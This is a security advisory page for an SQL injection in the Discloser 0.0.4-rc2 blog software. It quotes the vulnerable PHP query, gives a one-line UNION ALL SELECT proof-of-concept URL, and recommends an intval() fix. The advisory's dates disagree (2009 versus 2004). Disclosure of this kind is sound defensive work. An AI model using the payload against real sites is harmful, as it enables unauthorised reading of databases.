Discloser 0.0.4-rc2 SQL Injection Vulnerability

2009-08-04 / 2009-08-05
Credit: Drosophila
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

******** Salvatore "drosophila" Fresta ******** [+] Application: Discloser [+] Version: 0.0.4-rc2 [+] Website: http://discloser.sourceforge.net/ [+] Bugs: [A] SQL Injection [+] Exploitation: Remote [+] Date: 21 Feb 2004 [+] Discovered by: Salvatore Fresta aka drosophila [+] Author: Salvatore Fresta aka drosophila [+] E-mail: drosophilaxxx [at] gmail.com *************************************************** [+] Menu 1) Bugs 2) Code 3) Fix *************************************************** [+] Bugs - [A] SQL Injection [-] Risk: medium [-] File affected: displayposts.php This flaw allows a guest to insert arbitrary SQL statments in the affected query. ... if (isset($_GET['more'])) { $more = $_GET['more']; $query = mysql_query("select ". $tableprefix ."posts.*, ". $tableprefix ."users.username, ". $tableprefix ."users.email from ". $tableprefix ."posts, ". $tableprefix ."users where ". $tableprefix ."posts.poster = ". $tableprefix ."users.username and ". $tableprefix ."posts.id = $more"); ... *************************************************** [+] Code - [A] SQL Injection You can retrieve information from 3,4,7,8 fields. http://www.site.com/path/index.php?more=-1 UNION ALL SELECT 1,'long',3,4,5,6,7,8,9,10 *************************************************** [+] Fix To fix the flaw, you must to accept numeric content only, using, for example, intval PHP function: $more = intval($_GET['more']); ***************************************************

References:

http://www.securityfocus.com/bid/35923
http://www.securityfocus.com/archive/1/archive/1/505478/100/0/threaded
http://www.milw0rm.com/exploits/9349


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top